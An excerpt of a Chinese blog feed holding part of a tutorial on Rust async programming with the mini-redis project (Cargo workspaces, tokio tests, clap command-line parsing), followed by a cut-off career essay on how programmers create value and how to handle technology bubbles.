class="line">8</span><br></pre></td><td class="code"><pre><span class="line">workspace/</span><br><span class="line">├── Cargo.toml  # 工作空间配置</span><br><span class="line">├── project-a/</span><br><span class="line">│   ├── Cargo.toml</span><br><span class="line">│   └── examples/</span><br><span class="line">│       └── sub.rs</span><br><span class="line">└── project-b/</span><br><span class="line">    └── Cargo.toml</span><br></pre></td></tr></table></figure><p>如何判断是一个&quot;工作空间&quot;(Workspace)呢？根目录有一个主 Cargo.toml，定义工作空间和成员项目。比如reth项目，cargo build、cargo test 等命令时设置了默认包，</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[workspace]</span><br><span class="line">members = [</span><br><span class="line">    &quot;bin/reth-bench/&quot;,</span><br><span class="line">    &quot;bin/reth/&quot;,</span><br><span class="line">    &quot;crates/chain-state/&quot;,</span><br><span class="line">    ...</span><br><span class="line">]</span><br><span class="line">efault-members = [&quot;bin/reth&quot;]</span><br><span class="line">exclude = [&quot;book/sources&quot;, &quot;book/cli&quot;]</span><br></pre></td></tr></table></figure><p>项目里还有 bin目录，用来用上各个模块的功能，完成这个工具，一般也是软件的入口。这里是因为有多个软件，客户端和服务端的原因。如果只有一个，一般寻找 src/main.rs 或者 src/bin/main.rs 作为默认入口。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[[bin]]</span><br><span class="line">name = &quot;mini-redis-cli&quot;</span><br><span class="line">path = &quot;src/bin/cli.rs&quot;</span><br><span class="line"></span><br><span class="line">[[bin]]</span><br><span class="line">name = &quot;mini-redis-server&quot;</span><br><span class="line">path = &quot;src/bin/server.rs&quot;</span><br></pre></td></tr></table></figure><p>对于简单的项目，用这样的布局足够了。workspace就单独学习。</p><p>再看项目导出的部分，都在 src/lib.rs 中。每个子模块导出的函数，就在<code>mod.rs</code>或者与目录同名的rs文件。</p><h2 id="学习测试">学习测试</h2><p>下面是典型的测试，对于用到 async 的函数，都要用 <code>#[tokio::test]</code> 代替 <code>#[test]</code></p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/// A PING PONG test without message provided.</span></span><br><span class="line"><span class="comment">/// It should return &quot;PONG&quot;.</span></span><br><span class="line">#<span class="meta">#[tokio::test]</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">ping_pong_without_message</span>() &#123;</span><br><span class="line">    <span class="keyword">let</span> (addr, _) = <span class="title function_ invoke__">start_server</span>().<span class="keyword">await</span>;</span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">client</span> = Client::<span class="title function_ invoke__">connect</span>(addr).<span class="keyword">await</span>.<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">pong</span> = client.<span class="title function_ invoke__">ping</span>(<span class="literal">None</span>).<span class="keyword">await</span>.<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">    <span class="built_in">assert_eq!</span>(<span class="string">b&quot;PONG&quot;</span>, &amp;pong[..]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试的断言，除了 assert_eq! 还有 <code>#[should_panic]</code>，标记在测试函数上，表示需要触发panic。</p><p>有时候需要便边写代码边测试，但是我们又不希望测试用例也编译进程序，那么创建一个 test模块，然后 <code>#[cfg(test)]</code> 标记它，这样仅在测试构建时包含的代码块。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">#<span class="meta">#[cfg(test)]</span></span><br><span class="line"><span class="keyword">mod</span> tests &#123;</span><br><span class="line">    <span class="keyword">use</span> super::*;</span><br><span class="line"></span><br><span class="line">    <span class="meta">#[test]</span></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">it_works</span>() &#123;</span><br><span class="line">        <span class="built_in">assert_eq!</span>(<span class="number">2</span> + <span class="number">2</span>, <span class="number">4</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>要运行所有测试，直接 <code>cargo test</code>，会寻找项目中所有标记为测试的代码，而不仅仅是 tests 目录下的测试。标记为测试是指：</p><ol><li>标记为 <code>#[test]</code> 的函数，这些函数必须返回 () 并且不能接受任何参数。</li><li>标记为 <code>#[tokio::test]</code> 或其他自定义测试宏的函数。</li><li>在 <code>#[cfg(test)]</code> 模块中的测试函数。</li></ol><p>如果你只想运行 tests 目录下的测试，单个模块 <code>cargo test --test</code>。如果不在 <code>tests</code> 目录下，那么就按照模块顺序去找，比如 <code>cargo test crate::models::user::test_user_validation</code>。也可以简单地提供测试函数的名称，如果它在项目中是唯一的 <code>cargo test test_user_validation</code>。这里的名字都是可以<strong>正则匹配</strong>的。</p><p>如果你需要看到测试中的 println! 输出，可以添加 – --nocapture 参数。比如 <code>cargo test --test server key_value_get_set -- --nocapture</code>。</p><p><code>--show-output</code> 参数只会显示失败测试的输出，而且会在测试结果之后整齐地显示。这样可以更容易地将测试结果与输出区分开。通过测试就不会有输出了。</p><p>测试里除了 println!，还可以使用 dbg!()，会自动打印表达式和计算后的值。比如 <code>dbg!(addr);</code> 返回 <code>[tests/server.rs:15:5] addr = 127.0.0.1:57813</code>。</p><h2 id="命令行工具">命令行工具</h2><p>Rust 中最常见的命令行参数解析库是 clap。我们看 redis client 的设计，</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">#<span class="meta">#[derive(Parser, Debug)]</span></span><br><span class="line">#<span class="meta">#[command(</span></span><br><span class="line"><span class="meta">    name = <span class="string">&quot;mini-redis-cli&quot;</span>,</span></span><br><span class="line"><span class="meta">    version,</span></span><br><span class="line"><span class="meta">    author,</span></span><br><span class="line"><span class="meta">    about = <span class="string">&quot;Issue Redis commands&quot;</span></span></span><br><span class="line"><span class="meta">)]</span></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Cli</span> &#123;</span><br><span class="line">    <span class="meta">#[clap(subcommand)]</span></span><br><span class="line">    command: Command,</span><br><span class="line"></span><br><span class="line">    <span class="meta">#[arg(id = <span class="string">&quot;hostname&quot;</span>, long, default_value = <span class="string">&quot;127.0.0.1&quot;</span>)]</span></span><br><span class="line">    host: <span class="type">String</span>,</span><br><span class="line"></span><br><span class="line">    <span class="meta">#[arg(long, default_value_t = DEFAULT_PORT)]</span></span><br><span class="line">    port: <span class="type">u16</span>,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>一个子命令（通过 Command 枚举表示），<code>#[clap(subcommand)]</code> 会告诉 clap 这是个子命令，加上他继承Subcommand，就会自动生成解析的代码。子命令里的参数字段，也可以增加标签。这个自动生成功能，极大的简化了命令解析的过程。<br>默认参数可以是用 --字段名，或者用字段位置对应。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">#<span class="meta">#[derive(Subcommand, Debug)]</span></span><br><span class="line"><span class="keyword">enum</span> <span class="title class_">Command</span> &#123;</span><br><span class="line">    Ping &#123; msg: <span class="type">Option</span>&lt;Bytes&gt; &#125;,</span><br><span class="line">    Get &#123; key: <span class="type">String</span> &#125;,</span><br><span class="line">    Set &#123; key: <span class="type">String</span>, value: Bytes, expires: <span class="type">Option</span>&lt;Duration&gt; &#125;,</span><br><span class="line">    Publish &#123; channel: <span class="type">String</span>, message: Bytes &#125;,</span><br><span class="line">    Subscribe &#123; channels: <span class="type">Vec</span>&lt;<span class="type">String</span>&gt; &#125;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/study-mini-redis/</id>
    <link href="https://www.blog-blockchain.xyz/dev/study-mini-redis/"/>
    <published>2025-03-22T20:33:20.000Z</published>
    <summary>通过深入分析mini-redis项目学习Rust异步编程和tokio运行时，涵盖项目架构设计、Redis协议实现、连接管理、数据库模块等核心组件，以及测试和命令行工具开发实践。</summary>
    <title>深入学习Rust异步编程：mini-redis项目解析</title>
    <updated>2026-02-19T16:18:37.827Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<p>程序员的核心价值不仅仅是技术本身，而是技术作为手段，为企业创造业务价值的能力。技术本身并非目的，而是服务于企业盈利和降低成本的工具。</p><h2 id="程序员的价值">程序员的价值</h2><p>🔥 程序员的价值公式：V=Σ（技术杠杆率×业务价值密度）。</p><p><strong>📌 技术杠杆率</strong>衡量的是<strong>程序员通过技术手段，将其个人劳动成果放大并倍增业务价值的能力</strong>。它体现了软件工程和信息技术的本质特征：以相对少量的投入，撬动巨大的产出。与传统行业线性增长的劳动模式不同，程序员的代码一旦编写完成，就可以被无限次地复用和规模化部署。这意味着，一个优秀的程序员编写的一段高效代码、设计的一个巧妙算法，可以服务于成千上万甚至数百万的用户，从而产生指数级的业务价值增长。</p><p>设想一个建筑工人，一天工作8小时，可能完成一定量的砖瓦砌筑。而一个程序员，开发了一个优化数据库查询的算法，可能只需要几小时的编码，但这个优化可能让整个电商平台的订单处理速度提升数倍，直接影响数百万用户的购物体验，并显著提升交易额。这就是技术杠杆带来的倍增效应。</p><p>云计算工程师构建的云平台，能够让企业无需自建机房，按需使用计算资源，极大地降低了企业的IT成本和运维负担。一个云平台工程师的工作成果，可以服务于成千上万的企业，这就是技术杠杆的威力。</p><p><strong>为何互联网行业高薪:</strong> 正是因为软件技术和互联网业务的结合，放大了技术杠杆率，使得少量程序员的劳动可以撬动巨大的商业价值，从而支撑了互联网行业的高薪资水平。</p><p>🔹影响技术杠杆率的因素。</p><p>使用更先进、更高效的技术 (如更优的算法、更高效的框架、更先进的架构)，往往能获得更高的杠杆率。例如，使用 AI 自动化测试代替人工测试，可以大幅提升测试效率和覆盖率。</p><p>高质量的代码 (高效、可维护、可扩展) 才能更好地发挥技术杠杆的作用。低质量的代码可能反而成为业务发展的阻碍。</p><p>程序员解决的问题越关键、影响范围越广，其技术杠杆率越高。例如，解决系统瓶颈、优化核心业务流程的技术方案，比调整按钮位置的技术方案，杠杆率显然更高。</p><p><strong>📌 业务价值密度</strong> (Business Value Density) 指的是<strong>特定业务领域或场景本身所蕴含的潜在价值大小</strong>。不同的业务，其盈利能力、增长空间、社会价值都不同，因此对技术的需求和价值贡献也不同。</p><p>🔹场景决定价值：<strong>技术价值的发挥，必须依托于具体的业务场景</strong>。不同的业务场景，对技术的需求程度和技术能够产生的价值差异巨大。同样的技术，在价值密度高的业务场景下，才能发挥出更大的价值。</p><ul><li><strong>金融交易系统 vs. 内部管理系统:</strong> 金融交易系统 (如股票交易、银行核心系统) 承载着巨大的资金流和交易量，对系统的稳定性、安全性、效率要求极高。任何技术上的提升 (如降低交易延迟 1ms) 都可能带来巨大的经济效益 (数百万甚至数亿的资金流转效率提升)。因此，金融交易系统的业务价值密度极高。</li><li><strong>电商平台的推荐系统 vs. 企业内部报销系统:</strong> 电商平台的推荐系统直接影响用户购买决策和平台营收，任何推荐算法的优化都可能带来显著的销售额增长，业务价值密度很高。而企业内部报销系统，主要服务于企业内部员工，其直接盈利能力较弱，业务价值密度相对较低。</li><li><strong>生命科学研究 vs. 普通工具软件:</strong> 生命科学研究 (如新药研发、基因工程) 一旦取得突破，可能拯救无数生命，并产生巨大的社会和经济价值，业务价值密度极高。而开发一个简单的文本编辑器或计算器，虽然也有价值，但业务价值密度相对较低。</li></ul><p>🔹 行业决定价值： 不同行业、不同业务的价值密度差异巨大，直接导致了对技术人才的需求程度和支付能力不同，从而导致了程序员薪资的行业差异。 价值密度高的行业，更愿意支付高薪吸引顶尖技术人才。</p><p>不同行业的盈利模式、市场规模、发展前景差异巨大，导致其业务价值密度不同。例如，金融、医疗、高科技等行业通常业务价值密度较高。</p><p>B2C 业务 (直接面向消费者) 通常比 B2B 业务 (面向企业) 更容易实现规模化和指数级增长，因此其业务价值密度可能更高。</p><p>市场规模越大、增长潜力越大的业务，其业务价值密度越高。例如，人工智能等新兴领域，市场规模巨大，增长潜力无限，因此其业务价值密度极高。</p><p>🔹 量化业务价值密度。</p><p>具体的说，看下面的方面。</p><ol><li>营收规模/利润率 (Revenue Scale / Profit Margin)。部门的业务越大，利润率越高，增长速度和盈利潜力越大，你做的事情技术价值越高。</li><li>用户规模/用户价值 (LTV - Lifetime Value)。你做的事情，能直接创造更好的用户指标，比如<strong>用户数量</strong> (DAU/MAU)、<strong>用户活跃度</strong>、<strong>用户留存率</strong>、<strong>用户生命周期价值</strong> (LTV)、<strong>用户付费率</strong>、<strong>用户转化率</strong>。</li><li>社会价值/行业影响力 (Social Value / Industry Impact)。在社会新闻、政策文件中提及，对行业发展有推动和颠覆性的影响，那么业务价值更高。比如大模型、去中心化金融等。只要赛道对，跳槽总会涨起来。</li></ol><p>对于刚毕业的程序员来说，初始薪资不是最重要的，关键是进入一个有业务价值密度的行业和部门，选择技术驱动和高速发展的行业。等有一定经验了，关注的是薪资待遇和职业发展，掌握核心技能，并且充分的市场定价。</p><p><strong>📌</strong> 程序员的整体价值，是其在<strong>不同技术领域、不同业务场景下创造的价值的总和</strong>。</p><p><strong>全栈工程师 vs. 单一领域专家:</strong> 全栈工程师能够独立完成前端、后端、数据库、运维等多个环节的工作，其价值体现在能够快速搭建 MVP 产品，应对初创期业务的快速迭代需求。他们的价值是多方面技能的叠加。</p><p><strong>既懂技术又懂业务的复合型人才:</strong> 有些程序员不仅技术精湛，还深入理解业务，能够从业务角度出发，提出技术解决方案，甚至参与产品设计和业务策略制定。他们的价值不仅体现在技术能力上，更体现在业务理解和商业sense 上，是技术价值和业务价值的叠加。</p><p><strong>技术领导者和架构师:</strong> 技术领导者和架构师需要具备更广阔的技术视野和更深入的业务理解，能够规划技术方向、设计系统架构、指导团队工作。他们的价值体现在对整个技术团队和业务发展的全局性贡献，是多方面领导力和技术能力的叠加。</p><p>看到这里，应该就明白，分配任务时，其实已经确定了业务的价值密度了。</p><h2 id="价值的估值">价值的估值</h2><h3 id="场景的影响">场景的影响</h3><p>🔥 不同场景下，不同的价值的估值不同。</p><p><strong>程序员的价值不是单一的、固定的，而是多元化的、动态的，并且在不同的场景下会被赋予不同的权重和估值。</strong> 这意味着，仅仅埋头写代码、追求代码行数或减少 Bug 数量，并不能完全体现一个程序员的价值。</p><p>不同的业务场景，其核心目标不同，对技术的需求和期望也不同。</p><p><strong>初创期业务的</strong>核心目标是快速验证商业模式，抢占市场。此时，快速交付 MVP (最小可行产品)、快速迭代、低成本试错至关重要。因此，<strong>快速解决问题、高效交付功能、降低初期成本</strong>的程序员价值会被高估。</p><p><strong>增长期业务:</strong> 核心目标是扩大用户规模，提升用户体验，保持高速增长。此时，<strong>优化系统性能、支撑高并发、提升用户留存</strong>的程序员价值会被高估。</p><p><strong>稳定期业务:</strong> 核心目标是提升运营效率，降低运营成本，保持盈利能力。此时，<strong>降低运营成本、保障系统稳定、提升团队效率</strong>的程序员价值会被高估。</p><p><strong>创新型业务:</strong> 核心目标是探索新技术、开创新市场、引领行业发展。此时，<strong>推动业务创新、解决前沿技术难题、拓展技术边界</strong>的程序员价值会被高估。</p><p>不同的行业也存在差异：</p><ul><li><strong>金融行业:</strong> 对数据安全、系统稳定、事务一致性要求极高，<strong>保障系统安全稳定、解决数据一致性问题</strong>的程序员价值会被高估。</li><li><strong>电商行业:</strong> 对高并发、用户体验、个性化推荐要求很高，<strong>优化系统性能、提升用户体验、实现个性化推荐</strong>的程序员价值会被高估。</li><li><strong>AI 行业:</strong> 对算法能力、模型优化、算力效率要求很高，<strong>解决复杂算法问题、优化模型性能、提升算力效率</strong>的程序员价值会被高估。</li></ul><h3 id="程序员能力的价值">程序员能力的价值</h3><p>总的来说，有以下通用的价值：</p><p>✅ 解决复杂问题的能力。够系统性地分析、定位和解决业务和技术上的复杂难题。</p><p>复杂问题往往会阻碍业务发展，甚至导致业务停滞。能够有效解决复杂问题的程序员，可以<strong>扫清业务发展的障碍，保障业务流程的顺畅运行，推动项目目标的达成</strong>。</p><p>✅ 优化系统性能的能力。能够<strong>提升系统的响应速度、吞吐量、资源利用率等关键性能指标。</strong></p><p>系统性能直接影响用户体验、运营成本和业务效率。性能优化的程序员，可以<strong>提升用户满意度，降低资源消耗，提高业务处理能力，从而直接提升业务价值</strong>。</p><p>流量密集型业务，比如电商和直播；计算密集型业务，比如AI 模型训练、大数据分析；移动端应用能效更高，这些都是应用场景。</p><p>✅ 提升团队效率的能力。能够<strong>通过技术手段、流程优化、工具开发等方式，提升整个团队的开发效率、协作效率和交付质量</strong>。</p><p>团队效率提升可以<strong>缩短产品研发周期，更快地响应市场需求，降低人力成本，提升产品质量，从而提升整体业务竞争力</strong>。</p><ul><li><strong>快速迭代的团队:</strong> 提升开发效率至关重要，例如，通过自动化测试、CI/CD 流水线、代码生成工具等提升开发速度。</li><li><strong>大型协作团队:</strong> 提升协作效率至关重要，例如，通过代码规范、模块化设计、API 管理平台等提升团队协作效率。</li><li><strong>运维团队:</strong> 提升运维效率至关重要，例如，通过自动化运维工具、监控告警系统、容器化技术等降低运维成本，提升运维效率。</li></ul><p>✅ 推动业务创新的能力。能够<strong>利用新技术、新思路、新方法，为业务带来新的增长点、新的商业模式、新的竞争优势</strong>。 创新不仅仅是技术上的突破，更是业务上的突破。</p><p>业务创新可以<strong>拓展市场边界，开辟新的收入来源，提升品牌影响力，引领行业发展</strong>。 推动业务创新的程序员，是企业未来发展的驱动力。例如，利用 AI 技术实现智能客服、智能推荐、智能风控；利用区块链技术构建可信数据平台、数字身份系统；利用 AR/VR 技术打造沉浸式用户体验。</p><ul><li><strong>创新型业务:</strong> 推动业务创新是核心价值，例如，探索 AI 新应用场景，研发区块链新产品，打造元宇宙新体验。</li><li><strong>传统行业转型:</strong> 利用技术创新改造传统业务流程，提升传统行业效率和用户体验，例如，金融科技、智慧医疗、智慧交通。</li><li><strong>竞争激烈的市场:</strong> 通过技术创新打造差异化竞争优势，例如，研发更智能的推荐算法，推出更个性化的用户服务。</li></ul><p>✅ 降低运营成本的能力。能够<strong>通过技术手段，降低企业在运营过程中产生的各种成本</strong>，例如，降低服务器成本、人力成本、运维成本、营销成本等。</p><p>成本控制是企业盈利的重要来源。降低运营成本可以直接<strong>提升企业利润率，增强企业盈利能力，提升市场竞争力</strong>。 在经济下行时期，降低运营成本尤为重要。</p><ul><li><strong>云计算应用:</strong> 云计算技术本身就能大幅降低 IT 基础设施成本。</li><li><strong>自动化运维:</strong> 自动化运维工具可以降低人力运维成本，提升运维效率。</li><li><strong>智能化运营:</strong> 利用 AI 技术实现智能客服、智能营销，可以降低人力成本，提升运营效率。</li><li><strong>资源优化:</strong> 优化资源调度算法，提升资源利用率，可以降低服务器资源成本。</li></ul><p>✅ 保障系统安全稳定的能力。能够<strong>构建安全可靠、稳定运行的系统，防止系统崩溃、数据泄露、安全攻击等风险</strong>。 系统安全稳定是业务运行的基石。</p><p>保障系统安全稳定可以<strong>维护企业声誉，保护用户数据安全，避免业务中断造成的经济损失，保障业务的持续稳定运行</strong>。 在数字化程度越来越高的今天，系统安全稳定至关重要。</p><ul><li><strong>金融行业、医疗行业:</strong> 对系统安全稳定要求极高，任何安全漏洞或系统故障都可能造成巨大损失。</li><li><strong>用户数据敏感型业务:</strong> 保障用户数据安全至关重要，例如，社交平台、电商平台、支付平台。</li><li><strong>关键基础设施领域:</strong> 例如，电力系统、交通系统、通信系统，系统安全稳定直接关系到社会稳定和公共安全。</li></ul><h3 id="程序员的学习">程序员的学习</h3><p>🔥 在快速变化的技术环境中，<strong>拥抱多元化技术栈，成为 「T 型人才」 或 「π 型人才」</strong> 非常重要。关注技术趋势，保持学习热情。阅读技术书籍、博客、论文。参加技术社区、技术会议。</p><blockquote><p><strong>T 型人才:</strong> 在一个或几个核心技术领域有深入专长 (技术深度)，同时又对其他相关技术领域有广泛了解 (技术广度)。<br><strong>π 型人才:</strong> 在两个或多个技术领域都有深入专长 (多技术深度)，同时对更广泛的技术领域有了解 (技术广度)。</p></blockquote><p><strong>🔥 在选定的一个或几个核心技术领域，精耕细作，成为真正的专家</strong>，这是提升技术杠杆率的关键。 技术深度是程序员的核心竞争力。</p><p>选择自己感兴趣且有发展前景的技术领域，然后系统性学习核心技术原理，不仅仅停留在使用层面，更要深入理解技术背后的原理、机制和实现细节。要进行大量的实践和项目实战，阅读经典技术书籍、源码分析、参与开源项目。</p><p><strong>🔥</strong> 提升业务理解能力 (Business Acumen)。<strong>程序员不能仅仅是代码的搬运工，更要成为业务的理解者和推动者</strong>。 业务理解能力是提升业务价值密度的关键。 理解业务才能更好地应用技术，创造更大价值。</p><ul><li>深入了解所服务行业的业务模式、业务流程、盈利模式、市场竞争格局。</li><li>多跟运营和产品沟通，主动了解业务需求、业务痛点、业务目标，站在业务角度思考技术方案。</li><li>积极参与业务讨论，从技术角度提出建设性意见，将技术与业务更好地结合。</li><li><strong>关注行业动态，了解竞争对手。</strong> 了解行业发展趋势、竞争对手的业务模式和技术策略，拓宽业务视野。</li><li>培养商业思维，学习商业知识，理解企业运营和盈利模式，提升商业敏感度。</li></ul><p><strong>🔥</strong> 培养复合能力 (Soft Skills &amp; Cross-functional Skills)，提升沟通效率、协作效率、领导力、项目管理能力，最终提升综合价值。</p><h2 id="技术的价值">技术的价值</h2><p>技术价值传导链的核心法则：技术价值=技术稀缺性×业务适配度×泡沫溢价率。</p><h3 id="技术稀缺性">技术稀缺性</h3><p>技术稀缺性指的是<strong>掌握某种技术的难度和拥有该技术人才的稀缺程度</strong>。 稀缺性是价值的基石，物以稀为贵，技术亦如此。掌握稀缺技术的人才供给相对不足，而市场需求却很高，这就形成了供不应求的局面，导致稀缺技术人才的价值水涨船高。拥有稀缺技术的企业，也更容易在竞争中获得优势。</p><p>稀缺性往往来自：</p><ul><li><strong>技术本身的先进性 (前沿性、复杂性):</strong> 越是前沿、复杂、难度高的技术，掌握的人才就越少，因此越稀缺。例如，AI 大模型技术、量子计算技术、区块链底层技术等，都属于高度稀缺的技术。</li><li><strong>技术积累的时间成本和经验门槛:</strong> 有些技术本身可能并不算特别先进，但需要长期的经验积累和实践才能掌握精髓，例如，大型分布式系统的架构设计、高并发系统的性能优化、复杂业务系统的维护和演进等。这些技术的稀缺性来源于经验门槛。</li><li><strong>特定领域的专业知识和技能:</strong> 有些技术可能只在特定领域 (如金融、医疗、工业控制等) 有应用价值，需要结合领域专业知识才能发挥作用。掌握这些领域专业知识和技能的技术人才也相对稀缺。</li><li><strong>历史原因造成的稀缺性:</strong> 一些老旧技术 (如 COBOL) 可能因为学习成本高、从业人员少而变得稀缺，但这种稀缺性往往是衰退性的，长期价值有限。</li></ul><p>但是技术稀缺性不是一成不变的。随着技术的发展、普及、人才培养体系的完善，曾经稀缺的技术可能会变得不再稀缺。程序员需要持续学习，不断掌握新的稀缺技术，才能保持竞争力。</p><p>⚠️ 注意避雷过度炒作的技术概念。真正的稀缺技术，应该具备实际的应用价值和长期的发展潜力。</p><h3 id="业务适配度">业务适配度</h3><p>场景为王，落地生根，技术价值的实现，必须找到合适的业务场景。业务适配度指的是<strong>技术与特定业务类型、业务规模、业务发展阶段的匹配程度</strong>。 技术再先进、再稀缺，如果不能有效地应用于实际业务场景，就无法产生价值。</p><ul><li>不同的业务类型 (事务密集型、流量密集型、计算密集型等) 对技术的需求侧重点不同。例如，金融业务更看重数据一致性和系统稳定性，电商业务更看重高并发和用户体验，AI 业务更看重计算资源和算法效率。</li><li>不同的业务规模 (启动期、增长期、稳定期、衰退期) 对技术的需求也不同。例如，初创期业务更需要快速搭建 MVP，验证商业模式，而成熟期业务更需要精细化运营，降低成本，提升效率。</li><li>业务处于不同的发展阶段，对技术的需求也会发生变化。例如，增长期业务更需要弹性扩展能力，而稳定期业务更需要成本控制和系统稳定性。</li></ul><p>因此，程序员要深刻理解自己身处的部门和业务，把握业务的需求，用合适的技术解决痛点问题。不要盲目追求最新、最炫的技术。有时候，成熟稳定的技术可能比新兴技术更适合当前业务需求。</p><p>沟通也是很关键的，业务不断发展变化，持续优化和迭代技术方案，保持技术与业务的动态适配。</p><ul><li><strong>跨境电商 Service Mesh 案例:</strong> 日均订单量 50 万的跨境电商平台，盲目引入 Service Mesh 架构，实际上是技术超前性陷阱的体现。 Kubernetes 原生能力完全能够满足其业务需求，过度引入复杂技术反而增加了研发成本和运维复杂度，降低了业务适配度。</li><li><strong>社交创业公司 Firebase 案例:</strong> 社交创业公司在启动期选择 Firebase 快速搭建 MVP，是业务适配度高的体现。放弃自研 IM 系统，节省了宝贵的时间，抓住了用户增长窗口期，实现了业务的快速发展。</li><li><strong>不同阶段的数据库选型:</strong> 初创期业务可能选择 NoSQL 数据库以快速迭代，增长期业务可能需要考虑分布式数据库以支撑规模扩展，稳定期业务可能需要优化数据库性能以降低成本，衰退期业务可能需要维护现有数据库系统以保障服务质量。</li></ul><h3 id="泡沫溢价率">泡沫溢价率</h3><p>泡沫溢价率指的是<strong>在技术泡沫时期，由于供需失衡和市场炒作，某些技术所呈现出的价值溢价现象</strong>。 泡沫放大了技术价值，但也带来了不确定性和风险。现在的大模型就存在技术泡沫。技术泡沫是市场经济的必然产物。当某个新技术概念兴起时，往往会伴随着资本涌入、人才争夺、市场炒作，导致相关技术人才和技术的价值被过度高估，形成泡沫溢价。</p><p>技术泡沫来自于三个方面：</p><ul><li><strong>资本泡沫浓度 (市场热钱程度):</strong> 资本市场对新技术的热情越高，投入的资金越多，泡沫浓度就越高，溢价率也越高。例如，Web3 泡沫时期，大量资金涌入 Web3 领域，导致相关技术人才薪资暴涨。</li><li><strong>人才稀缺系数 (人才供给与需求失衡程度):</strong> 泡沫时期，市场对相关技术人才的需求急剧增加，而人才供给往往无法快速跟上，导致供需失衡，人才稀缺系数升高，溢价率也升高。</li><li><strong>概念传播速度 (技术概念的流行程度):</strong> 新技术概念传播速度越快、范围越广，越容易引发市场关注和炒作，形成泡沫，提高溢价率。</li></ul><p>可以看到大模型满足了这三个条件，是技术泡沫的老大。这个时候，拥有技术泡沫的程序员，就更加容易：</p><ul><li><strong>高薪资:</strong> 泡沫时期，掌握风口技术的程序员往往能获得远高于市场平均水平的薪资。例如，元宇宙 Web3 泡沫时期，Unity 工程师的年薪一度达到百万级别。</li><li><strong>高估值:</strong> 掌握风口技术的初创公司，在泡沫时期更容易获得高估值和融资。</li><li><strong>快速晋升:</strong> 泡沫时期，掌握风口技术的程序员可能更容易获得晋升机会，甚至快速成为技术 leader 或创业者。</li></ul><p>但是泡沫不会永远持续，当泡沫破裂时，溢价率会迅速下降，甚至消失殆尽。Web3 泡沫破裂后，Solidity 开发者薪资大幅缩水，大量从业者转型。</p><p>作为程序员，要理性分析技术概念的真实价值和长期发展潜力，避免盲目追逐泡沫。等你赶上的时候，可能就熄火了。如果判断某个技术泡沫具有一定的真实价值，并且自己有能力把握机会，赶快趁着泡沫期去赚钱和积累经验。当感觉泡沫快破裂了，要做好做好技术转型和职业规划调整的准备。</p><p>总的来说，世界永远不变的就是变化，切换热点，进入泡沫行业和离开泡沫行业是非常正常的。穿越短期的泡沫，关注技术的长期价值和发展潜力，是最终的选择。接着泡沫做大，但是在泡沫覆灭之前逃离。</p><p>🧨 如何识别泡沫。</p><p>✅ PPT技术还是成熟可用。如果只是讲概念，但是市场没有做出大规模、稳定、可靠的实际应用案例，就比较危险。现在的AI agent在 coding 方面做出来可靠的应用了。但是早期的 web3 项目，一大堆白皮书，但是跨链、layer 2直到 23 年才比较完善，而21年只是泡沫。</p><p>✅ 「真实需求」 还是 「伪需求」。技术的价值最终要体现在实际应用和解决真实问题上。 「炫技」 或 「概念化」 只能一时忽悠，长久只有成本没有营收，傻子都知道这路不行。一定要深入思考新的技术和概念，究竟解决了什么问题。一定要一句话说出要点，10句话讲透原因，而不是扯蓝图。GameFi 的经济模型、元宇宙概念炒作都是这么回事。</p><p>✅ 「价值驱动」 还是 「情绪驱动」。如果只有市场炒作，价值都在被过度夸大，这大概是泡沫。</p><p>短期从泡沫中获利，但是一定要有长期价值的布局。</p><p>🧨 如何逃离泡沫。</p><p>等你感受到「资本退潮、人才市场降温、行业监管收紧」一般已经晚了，大家都开始跑，你再跟着跑，陷入了被动。可以先观察信号：</p><ol><li>风险投资 (VC) 融资额度下降。多看行业新闻，如果 VC 融资案例显著减少甚至 